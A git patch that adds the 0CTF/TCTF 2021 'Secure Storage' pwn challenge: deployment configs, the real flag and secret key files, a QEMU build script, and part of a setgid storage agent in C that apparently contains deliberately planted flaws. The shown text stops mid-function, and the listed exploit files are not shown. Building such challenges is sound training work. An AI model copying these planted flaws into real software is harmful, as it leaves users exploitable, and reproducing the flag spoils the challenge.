From 10e4254a370ae2d67e57998ccf9d11b6d2cbff4c Mon Sep 17 00:00:00 2001 From: hzqmwne Date: Mon, 5 Jul 2021 22:15:18 +0800 Subject: [PATCH] add source code and scripts --- .../deployment/on_server/Dockerfile | 13 + .../deployment/on_server/docker-compose.yml | 25 + .../deployment/on_server/generate.sh | 66 ++ .../deployment/on_server/inittab | 6 + .../deployment/on_server/pwn-xinetd | 21 + .../Secure Storage/deployment/on_server/rcS | 14 + .../on_server/secrets/admin_key.txt | 2 + .../deployment/on_server/secrets/flag.txt | 2 + .../deployment/on_server/secrets/secret2.txt | 2 + .../deployment/on_server/secrets/secret3.txt | 1 + .../deployment/on_server/start.sh | 16 + .../deployment/to_player/Dockerfile | 12 + .../deployment/to_player/docker-compose.yml | 13 + .../deployment/to_player/generate.sh | 66 ++ .../deployment/to_player/inittab | 6 + .../deployment/to_player/pwn-xinetd | 14 + .../Secure Storage/deployment/to_player/rcS | 14 + .../to_player/secrets/admin_key.txt | 6 + .../deployment/to_player/secrets/flag.txt | 4 + .../deployment/to_player/secrets/secret2.txt | 4 + .../deployment/to_player/secrets/secret3.txt | 4 + .../deployment/to_player/start.sh | 16 + .../Secure Storage/develop/prepare.sh | 42 ++ .../Secure Storage/src/Makefile | 30 + .../Secure Storage/src/ss_agent.c | 354 +++++++++ .../Secure Storage/src/ss_device.c | 387 ++++++++++ .../Secure Storage/src/ss_driver.c | 689 ++++++++++++++++++ .../Secure Storage/writeup/Makefile | 14 + .../Secure Storage/writeup/bin_sh_loader.c | 12 + .../Secure Storage/writeup/exp_stage1_leak.c | 226 ++++++ .../writeup/exp_stage3_kernel.c | 96 +++ .../Secure Storage/writeup/exp_stage4_qemu.c | 238 ++++++ .../Secure Storage/writeup/expfull.py | 245 +++++++ 33 files changed, 2660 insertions(+) create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/Dockerfile create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/docker-compose.yml create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/generate.sh create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/inittab create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/pwn-xinetd create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/rcS create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/secrets/admin_key.txt create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/secrets/flag.txt create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/secrets/secret2.txt create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/secrets/secret3.txt create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/start.sh create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/Dockerfile create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/docker-compose.yml create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/generate.sh create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/inittab create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/pwn-xinetd create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/rcS create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/secrets/admin_key.txt create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/secrets/flag.txt create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/secrets/secret2.txt create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/secrets/secret3.txt create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/start.sh create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/develop/prepare.sh create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/src/Makefile create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/src/ss_agent.c create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/src/ss_device.c create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/src/ss_driver.c create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/writeup/Makefile create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/writeup/bin_sh_loader.c create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/writeup/exp_stage1_leak.c create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/writeup/exp_stage3_kernel.c create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/writeup/exp_stage4_qemu.c create mode 100644 0CTF_TCTF-2021-Quals/Secure Storage/writeup/expfull.py diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/Dockerfile b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/Dockerfile new file mode 100644 index 0000000..72eaf6a --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/Dockerfile @@ -0,0 +1,13 @@ +FROM ubuntu:20.04 + +ENV DEBIAN_FRONTEND noninteractive + +RUN apt-get update && \ + apt-get upgrade -y && \ + apt-get install -y xinetd socat busybox + +RUN apt-get install -y libpixman-1-0 libglib2.0-0 + +CMD ["/usr/sbin/xinetd", "-dontfork"] +#CMD ["/usr/bin/socat", "tcp-l:8888,fork,reuseaddr", "exec:/home/pwn/start.sh,stderr,setsid,su=nobody"] + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/docker-compose.yml b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/docker-compose.yml new file mode 100644 index 0000000..f4635a4 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/docker-compose.yml @@ -0,0 +1,25 @@ +services: + pwn: + build: ./ + image: secure_storage + container_name: secure_storage_pwn_1 + #tty: true + #command: ["/usr/sbin/xinetd", "-dontfork", "-d"] + volumes: + - ./share:/home/pwn:ro + - ./pwn-xinetd:/etc/xinetd.d/pwn-xinetd:ro + - ./tmp:/tmp:rw + ports: + - "12021:8888" # + pids_limit: 1024 + restart: unless-stopped + deploy: + resources: + limits: + cpus: '6.00' + memory: 16G + +#networks: +# default: +# external: true +# name: pwn diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/generate.sh b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/generate.sh new file mode 100644 index 0000000..afaae9f --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/generate.sh @@ -0,0 +1,66 @@ +#!/bin/sh + +if [ $(id -u) -ne 0 ];then + echo "the user is not root" + exit 1 +fi + + +cd $(dirname $0) + + +rm -rf rootfs share + +mkdir -m 0755 rootfs +(cd rootfs && mkdir -m 0755 bin challenge dev etc proc sbin sys usr etc/init.d usr/bin usr/sbin) +(cd rootfs && mkdir -m 1777 tmp) + + +cp ../../develop/busybox-x86_64 rootfs/bin/busybox +chmod 0755 rootfs/bin/busybox + +(cd rootfs && bin/busybox --list-full | sed 's/^usr\/s\?bin\/.*\?$/..\/..\/bin\/busybox \0/g ; s/^sbin\/.*\?$/..\/bin\/busybox \0/g ; s/^bin\/.*\?$/busybox \0/g ; s/^linuxrc$/bin\/busybox \0/g' | xargs -L 1 ln -s) + + +cp inittab rootfs/etc/ +chmod 0644 rootfs/etc/inittab +cp rcS rootfs/etc/init.d/ +chmod 0755 rootfs/etc/init.d/rcS + +cp ../../src/ss_stripped.ko rootfs/challenge/ss.ko +chmod 0644 rootfs/challenge/ss.ko + +cp ../../src/ss_agent_stripped rootfs/challenge/ss_agent +chgrp 900 rootfs/challenge/ss_agent +chmod 2755 rootfs/challenge/ss_agent + +cp secrets/admin_key.txt rootfs/challenge/ +chgrp 900 rootfs/challenge/admin_key.txt +chmod 0640 rootfs/challenge/admin_key.txt + +cp secrets/secret2.txt rootfs/challenge/ +chgrp 900 rootfs/challenge/secret2.txt +chmod 0640 rootfs/challenge/secret2.txt + +cp secrets/secret3.txt rootfs/challenge/ +chmod 0600 rootfs/challenge/secret3.txt + + +mkdir -m 755 share +(cd ./rootfs ; find . | cpio -o -H newc --quiet > ../share/initramfs.cpio) +cp ../../develop/boot/vmlinuz-5.4.0-77-generic ./share/vmlinuz && chmod 0644 ./share/vmlinuz +strip ../../develop/qemu-4.2.1/x86_64-softmmu/qemu-system-x86_64 -o ./share/qemu-system-x86_64 +mkdir -m 755 share/pc-bios +cp ../../develop/qemu-4.2.1/pc-bios/bios-256k.bin ./share/pc-bios/ +cp ../../develop/qemu-4.2.1/pc-bios/kvmvapic.bin ./share/pc-bios/ +cp ../../develop/qemu-4.2.1/pc-bios/linuxboot_dma.bin ./share/pc-bios/ +cp ../../develop/qemu-4.2.1/pc-bios/vgabios-stdvga.bin ./share/pc-bios/ +cp ../../develop/qemu-4.2.1/pc-bios/efi-e1000.rom ./share/pc-bios/ + +cp start.sh share/ +cp secrets/flag.txt share/ + + + +tar zcf secure_storage_attachments_on_server.tar.gz share Dockerfile docker-compose.yml pwn-xinetd tmp + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/inittab b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/inittab new file mode 100644 index 0000000..44f7597 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/inittab @@ -0,0 +1,6 @@ +::sysinit:/etc/init.d/rcS +ttyS0::respawn:/usr/bin/setuidgid 1000 /bin/sh +::ctrlaltdel:/sbin/reboot +::shutdown:/sbin/swapoff -a +::shutdown:/bin/umount -a -r +::restart:/sbin/init diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/pwn-xinetd b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/pwn-xinetd new file mode 100644 index 0000000..0d5fbf5 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/pwn-xinetd @@ -0,0 +1,21 @@ +service pwn +{ + disable = no + type = UNLISTED + wait = no + server = /usr/bin/socat + server_args = stdio exec:/home/pwn/start.sh,stderr,setsid + socket_type = stream + protocol = tcp + user = 1000 + port = 8888 + # bind = 0.0.0.0 + # safety options + flags = REUSE + per_source = 10 # the maximum instances of this service per source IP address + #rlimit_cpu = 1 # the maximum number of CPU seconds that the service may use + #rlimit_as = 1024M # the Address Space resource limit for the service + #access_times = 2:00-9:00 12:00-24:00 + #nice = 18 +} + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/rcS b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/rcS new file mode 100644 index 0000000..ad08183 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/rcS @@ -0,0 +1,14 @@ +#!/bin/sh + +mount -t proc proc /proc +mount -t sysfs sysfs /sys +mount -t devtmpfs devtmpfs /dev +mkdir /dev/pts +mount -t devpts devpts /dev/pts + +insmod /challenge/ss.ko +chgrp 900 /dev/ss +chmod 660 /dev/ss + +echo "0 0 0 0" > /proc/sys/kernel/printk + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/secrets/admin_key.txt b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/secrets/admin_key.txt new file mode 100644 index 0000000..abcd7de --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/secrets/admin_key.txt @@ -0,0 +1,2 @@ +yIqOWG6uyE2xldHdJef7AnsRNS01Px1I + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/secrets/flag.txt b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/secrets/flag.txt new file mode 100644 index 0000000..d62d54a --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/secrets/flag.txt @@ -0,0 +1,2 @@ +flag{TlAGbj9cgBNfsUCW3iJaO2e13xz0Wkrs} + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/secrets/secret2.txt b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/secrets/secret2.txt new file mode 100644 index 0000000..9d4dd14 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/secrets/secret2.txt @@ -0,0 +1,2 @@ +LquGZdVsbz3aff5iVIOjrO9FaF9DONcF + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/secrets/secret3.txt b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/secrets/secret3.txt new file mode 100644 index 0000000..44f2689 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/secrets/secret3.txt @@ -0,0 +1 @@ +cnhhE41Ob0sJpWSP3yZFdYd1QWmRimWf diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/start.sh b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/start.sh new file mode 100644 index 0000000..cac8c38 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/on_server/start.sh @@ -0,0 +1,16 @@ +#!/bin/sh + +cd $(dirname $0) + +exec timeout -s KILL 60m ./qemu-system-x86_64 \ + -L ./pc-bios \ + -m 128M \ + -cpu qemu64,+smep,+smap \ + -smp 2 \ + -kernel ./vmlinuz \ + -initrd ./initramfs.cpio \ + -append "console=ttyS0 root=/dev/ram rw rdinit=/sbin/init kaslr pti=on oops=panic panic=1 quiet" \ + -device ss \ + -monitor none \ + -nographic + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/Dockerfile b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/Dockerfile new file mode 100644 index 0000000..98c5162 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/Dockerfile @@ -0,0 +1,12 @@ +FROM ubuntu:20.04 + +ENV DEBIAN_FRONTEND noninteractive + +RUN apt-get update && \ + apt-get upgrade -y && \ + apt-get install -y xinetd socat busybox + +RUN apt-get install -y libpixman-1-0 libglib2.0-0 + +CMD ["/usr/sbin/xinetd", "-dontfork"] + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/docker-compose.yml b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/docker-compose.yml new file mode 100644 index 0000000..abc613c --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/docker-compose.yml @@ -0,0 +1,13 @@ +services: + pwn: + build: ./ + image: secure_storage + container_name: secure_storage_pwn_1 + volumes: + - ./share:/home/pwn:ro + - ./pwn-xinetd:/etc/xinetd.d/pwn-xinetd:ro + - ./tmp:/tmp:rw + ports: + - "12021:8888" + restart: unless-stopped + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/generate.sh b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/generate.sh new file mode 100644 index 0000000..455a86d --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/generate.sh @@ -0,0 +1,66 @@ +#!/bin/sh + +if [ $(id -u) -ne 0 ];then + echo "the user is not root" + exit 1 +fi + + +cd $(dirname $0) + + +rm -rf rootfs share + +mkdir -m 0755 rootfs +(cd rootfs && mkdir -m 0755 bin challenge dev etc proc sbin sys usr etc/init.d usr/bin usr/sbin) +(cd rootfs && mkdir -m 1777 tmp) + + +cp ../../develop/busybox-x86_64 rootfs/bin/busybox +chmod 0755 rootfs/bin/busybox + +(cd rootfs && bin/busybox --list-full | sed 's/^usr\/s\?bin\/.*\?$/..\/..\/bin\/busybox \0/g ; s/^sbin\/.*\?$/..\/bin\/busybox \0/g ; s/^bin\/.*\?$/busybox \0/g ; s/^linuxrc$/bin\/busybox \0/g' | xargs -L 1 ln -s) + + +cp inittab rootfs/etc/ +chmod 0644 rootfs/etc/inittab +cp rcS rootfs/etc/init.d/ +chmod 0755 rootfs/etc/init.d/rcS + +cp ../../src/ss_stripped.ko rootfs/challenge/ss.ko +chmod 0644 rootfs/challenge/ss.ko + +cp ../../src/ss_agent_stripped rootfs/challenge/ss_agent +chgrp 900 rootfs/challenge/ss_agent +chmod 2755 rootfs/challenge/ss_agent + +cp secrets/admin_key.txt rootfs/challenge/ +chgrp 900 rootfs/challenge/admin_key.txt +chmod 0640 rootfs/challenge/admin_key.txt + +cp secrets/secret2.txt rootfs/challenge/ +chgrp 900 rootfs/challenge/secret2.txt +chmod 0640 rootfs/challenge/secret2.txt + +cp secrets/secret3.txt rootfs/challenge/ +chmod 0600 rootfs/challenge/secret3.txt + + +mkdir -m 755 share +(cd ./rootfs ; find . | cpio -o -H newc --quiet > ../share/initramfs.cpio) +cp ../../develop/boot/vmlinuz-5.4.0-77-generic ./share/vmlinuz && chmod 0644 ./share/vmlinuz +strip ../../develop/qemu-4.2.1/x86_64-softmmu/qemu-system-x86_64 -o ./share/qemu-system-x86_64 +mkdir -m 755 share/pc-bios +cp ../../develop/qemu-4.2.1/pc-bios/bios-256k.bin ./share/pc-bios/ +cp ../../develop/qemu-4.2.1/pc-bios/kvmvapic.bin ./share/pc-bios/ +cp ../../develop/qemu-4.2.1/pc-bios/linuxboot_dma.bin ./share/pc-bios/ +cp ../../develop/qemu-4.2.1/pc-bios/vgabios-stdvga.bin ./share/pc-bios/ +cp ../../develop/qemu-4.2.1/pc-bios/efi-e1000.rom ./share/pc-bios/ + +cp start.sh share/ +cp secrets/flag.txt share/ + + + +tar zcf secure_storage_attachments_to_player.tar.gz share Dockerfile docker-compose.yml pwn-xinetd tmp + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/inittab b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/inittab new file mode 100644 index 0000000..44f7597 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/inittab @@ -0,0 +1,6 @@ +::sysinit:/etc/init.d/rcS +ttyS0::respawn:/usr/bin/setuidgid 1000 /bin/sh +::ctrlaltdel:/sbin/reboot +::shutdown:/sbin/swapoff -a +::shutdown:/bin/umount -a -r +::restart:/sbin/init diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/pwn-xinetd b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/pwn-xinetd new file mode 100644 index 0000000..e9b91e8 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/pwn-xinetd @@ -0,0 +1,14 @@ +service pwn +{ + disable = no + type = UNLISTED + wait = no + server = /usr/bin/socat + server_args = stdio exec:/home/pwn/start.sh,stderr,setsid + socket_type = stream + protocol = tcp + user = 1000 + port = 8888 + flags = REUSE +} + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/rcS b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/rcS new file mode 100644 index 0000000..ad08183 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/rcS @@ -0,0 +1,14 @@ +#!/bin/sh + +mount -t proc proc /proc +mount -t sysfs sysfs /sys +mount -t devtmpfs devtmpfs /dev +mkdir /dev/pts +mount -t devpts devpts /dev/pts + +insmod /challenge/ss.ko +chgrp 900 /dev/ss +chmod 660 /dev/ss + +echo "0 0 0 0" > /proc/sys/kernel/printk + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/secrets/admin_key.txt b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/secrets/admin_key.txt new file mode 100644 index 0000000..6cce013 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/secrets/admin_key.txt @@ -0,0 +1,6 @@ +0123456789abcdefFEDCBA9876543210 + +(32 bytes) +(possible chars: [0-9,a-z,A-Z]) +(this is only a sample, the correct admin key is on remote server) + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/secrets/flag.txt b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/secrets/flag.txt new file mode 100644 index 0000000..ff217be --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/secrets/flag.txt @@ -0,0 +1,4 @@ +flag{sample} + +(this is only a sample, the correct flag is on remote server) + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/secrets/secret2.txt b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/secrets/secret2.txt new file mode 100644 index 0000000..7eb849d --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/secrets/secret2.txt @@ -0,0 +1,4 @@ +secret2secret2secret2secret2secret2secret2secret2secret2 + +(this is only a sample, the correct secret2 is on remote server) + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/secrets/secret3.txt b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/secrets/secret3.txt new file mode 100644 index 0000000..8523f4e --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/secrets/secret3.txt @@ -0,0 +1,4 @@ +secret3secret3secret3secret3secret3secret3secret3 + +(this is only a sample, the correct secret3 is on remote server) + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/start.sh b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/start.sh new file mode 100644 index 0000000..cac8c38 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/deployment/to_player/start.sh @@ -0,0 +1,16 @@ +#!/bin/sh + +cd $(dirname $0) + +exec timeout -s KILL 60m ./qemu-system-x86_64 \ + -L ./pc-bios \ + -m 128M \ + -cpu qemu64,+smep,+smap \ + -smp 2 \ + -kernel ./vmlinuz \ + -initrd ./initramfs.cpio \ + -append "console=ttyS0 root=/dev/ram rw rdinit=/sbin/init kaslr pti=on oops=panic panic=1 quiet" \ + -device ss \ + -monitor none \ + -nographic + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/develop/prepare.sh b/0CTF_TCTF-2021-Quals/Secure Storage/develop/prepare.sh new file mode 100644 index 0000000..73c5d58 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/develop/prepare.sh @@ -0,0 +1,42 @@ +#!/bin/sh + + +# download + +wget https://download.qemu.org/qemu-4.2.1.tar.xz + +wget http://archive.ubuntu.com/ubuntu/pool/main/l/linux-signed/linux-image-5.4.0-77-generic_5.4.0-77.86_amd64.deb +wget http://archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-modules-5.4.0-77-generic_5.4.0-77.86_amd64.deb +wget http://archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-headers-5.4.0-77_5.4.0-77.86_all.deb +wget http://archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-headers-5.4.0-77-generic_5.4.0-77.86_amd64.deb + +wget http://archive.ubuntu.com/ubuntu/pool/main/g/glibc/libc6-dev_2.27-3ubuntu1.2_amd64.deb + +wget https://busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/busybox-x86_64 + +# wget https://raw.githubusercontent.com/hugsy/gdb-static/master/gdbserver-7.10.1-x64 + +# extract + +tar Jxvf qemu-4.2.1.tar.xz + +dpkg -x linux-image*.deb ./ +dpkg -x linux-headers*all.deb ./ +dpkg -x linux-headers*amd64.deb ./ +dpkg -x libc6-dev*.deb ./ + +# create symbol links + +ln -s ../src/ss_device.c qemu-4.2.1/hw/misc/ +echo 'common-obj-y += ss_device.o' >> qemu-4.2.1/hw/misc/Makefile.objs + +ln -s ../prepare/usr/lib/x86_64-linux-gnu/libc.a ../src/ + +ln -s ../prepare/busybox-x86_64 ../src/ + + +# build qemu with new device + +(cd qemu-4.2.1; ./configure --target-list=x86_64-softmmu; make) + + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/src/Makefile b/0CTF_TCTF-2021-Quals/Secure Storage/src/Makefile new file mode 100644 index 0000000..6e9898c --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/src/Makefile @@ -0,0 +1,30 @@ +#KDIR:=/lib/modules/$(shell uname -r)/build/ +KDIR:=../develop/usr/src/linux-headers-5.4.0-77-generic/ +PWD:=$(shell pwd) + +export RCS_FIND_IGNORE:= \( -name SCCS -o -name BitKeeper -o -name .svn -o -name CVS -o -name .pc -o -name .hg -o -name .git -o -name libc.a \) -prune -o + + +obj-m := ss.o +ss-objs := ss_driver.o + +all: ss.ko ss_stripped.ko ss_agent ss_agent_stripped + +ss.ko: ss_driver.c + $(MAKE) -C $(KDIR) M=$(PWD) modules EXTRA_CFLAGS+=-g + +ss_stripped.ko: ss.ko + strip --strip-unneeded $^ -o $@ + +ss_agent: ss_agent.c + $(CC) -g -static-pie -o $@ $^ ./libc.a + +ss_agent_stripped: ss_agent + strip $^ -o $@ + +clean: + @mv libc.a libc.a_ || true + $(MAKE) -C $(KDIR) M=$(PWD) clean + @mv libc.a_ libc.a || true + rm ss_stripped.ko ss_agent ss_agent_stripped 2>/dev/null || true + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/src/ss_agent.c b/0CTF_TCTF-2021-Quals/Secure Storage/src/ss_agent.c new file mode 100644 index 0000000..d9f35fa --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/src/ss_agent.c @@ -0,0 +1,354 @@ +#include +#include +#include +#include +#include +#include +#include +#include + + +#define PAGE_SIZE 4096 + +#define STORAGE_SLOT_COUNT (16) +#define STORAGE_SLOT_SIZE (16*PAGE_SIZE) + +#define KEY_LEN 32 + +static char global_admin_key[KEY_LEN + 1]; +static char *global_username; +static int global_user_registered = 0; + + +static int readlinen(char *buf, int n) { + unsigned int i; + for (i = 0; i < n; i++) { + char c; + read(0, &c, 1); + if (c == '\n') { + break; + } + buf[i] = c; + } + return i; +} + +static int readint(void) { + char buf[32] = {0}; + readlinen(buf, 32-1); + return atoi(buf); +} + +static inline int my_memcmp(void *buf1, void *buf2, unsigned int count) { + if (count == 0) { + return 0; + } + while (--count && *(unsigned char *)buf1 == *(unsigned char *)buf2) { + buf1 = (unsigned char *)buf1 + 1; + buf2 = (unsigned char *)buf2 + 1; + } + return (int)(char)( *((unsigned char *)buf1) - *((unsigned char *)buf2) ); +} + +static void *mmap_storage_slot(unsigned int slot_index) { + void *result; + int r; + int fd = open("/dev/ss", O_RDWR); + if (fd < 0) { + return NULL; + } + r = ioctl(fd, 0, slot_index); + if (r < 0) { + close(fd); + return NULL; + } + result = mmap(NULL, STORAGE_SLOT_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); + r = close(fd); + if (result == NULL || r < 0) { + return NULL; + } + return result; +} + +static int unmmap_storage_slot(void *mmap_address) { + return munmap(mmap_address, STORAGE_SLOT_SIZE); +} + +/* ========================================================================== */ + +static int check_valid_key(char *key) { // 1 for valid, 0 for invalid + size_t len = strlen(key); + size_t i; + if (len != KEY_LEN) { + return 0; + } + for (i = 0; i < len; i++) { + if (!( (('0'<=key[i])&&(key[i]<='9')) || (('A'<=key[i])&&(key[i]<='Z')) || (('a'<=key[i])&&(key[i]<='z')) )) { + //if (!( (('0'<=key[i])&&(key[i]<='9')) )) { // to make the brute force time shorter + return 0; + } + } + return 1; +} + +static int write_a_message(unsigned int slot_index, void *message, unsigned long message_len, void *key) { + int r; + if (message_len >= STORAGE_SLOT_SIZE-sizeof(unsigned long)-KEY_LEN) { + return -1; + } + void *slot_memory = mmap_storage_slot(slot_index); + if (slot_memory == NULL) { + return -1; + } + + // slot: | message_len: 8 bytes | message: message_len bytes | key: KEY_LEN bytes | + *(unsigned long *)slot_memory = message_len; + memcpy((unsigned char *)slot_memory+sizeof(unsigned long), message, message_len); + memcpy((unsigned char *)slot_memory+sizeof(unsigned long)+message_len, key, KEY_LEN); + + r = unmmap_storage_slot(slot_memory); + if (r < 0) { + return -1; + } + return 0; +} + +void show_menu(void) { + printf("1. register user\n"); + printf("2. store my data\n"); + printf("3. retrieve my data\n"); + printf("4. (admin only) kick out last registered user\n"); + printf("5. exit\n"); +} + +// menu 1. register user +void register_user(void) { + printf("How long is your name ?\n"); + int namelen = readint(); + if (namelen <= 0 || namelen >= 10000) { + printf("Error: name length error\n"); + return; + } + global_username = (char *)malloc(namelen); + if (global_username == NULL) { + printf("Error: unexpected\n"); + return; + } + printf("What is your name ?\n"); + readlinen(global_username, namelen); + int r = write_a_message(0, global_username, namelen, global_admin_key); + if (r < 0) { + printf("Error: write to storage error\n"); + return; + } + global_user_registered = 1; + + printf("Hello "); + write(1, global_username, namelen); + printf("\n"); + printf("Successfully register\n"); +} + +// menu 2. store my data +void store_my_data(void) { + char buf[KEY_LEN + 1] = {0}; + static char bigbuf[STORAGE_SLOT_SIZE]; + if (!global_user_registered) { + printf("Error: user have not registered\n"); + return; + } + + printf("Which slot ?\n"); + int slot_index = readint(); + if (!((1 <= slot_index) && (slot_index < STORAGE_SLOT_COUNT))) { + printf("Error: slot index out of range\n"); + return; + } + + printf("How long is your data ?\n"); + int data_len = readint(); + if ((data_len <= 0) || (data_len >= STORAGE_SLOT_SIZE-sizeof(unsigned long)-KEY_LEN)) { + printf("Error: invalid data length\n"); + return; + } + + printf("Now input your data:\n"); + readlinen(bigbuf, data_len-1); + bigbuf[data_len-1] = '\0'; + + printf("Input your key (remember it):\n"); + readlinen(buf, KEY_LEN + 1); + if (strlen(buf) != KEY_LEN) { + printf("Error: key length error\n"); + return; + } + if (!check_valid_key(buf)) { + printf("Error: key contains illegal char\n"); + return; + } + + int r = write_a_message(slot_index, bigbuf, data_len, buf); + if (r < 0) { + printf("Error: write to storage error\n"); + return; + } + + printf("Successfully store\n"); +} + +// menu 3. retrieve my data +void retrieve_my_data(void) { + char buf[KEY_LEN + 1] = {0}; 